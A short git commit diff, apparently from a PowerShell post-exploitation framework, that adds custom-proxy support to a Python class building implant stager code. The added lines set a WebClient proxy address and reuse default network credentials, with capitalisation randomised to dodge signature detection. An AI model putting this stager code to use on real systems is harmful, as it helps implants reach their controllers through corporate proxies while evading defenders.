Added support for custom proxy.

1.6
Tomas Rzepka 2015-08-19 10:00:32 +02:00
parent 304f8e906b
commit cf96626e8d
1 changed files with 3 additions and 1 deletions

View File

@ -327,7 +327,9 @@ class Stagers:
stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
pass
stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else: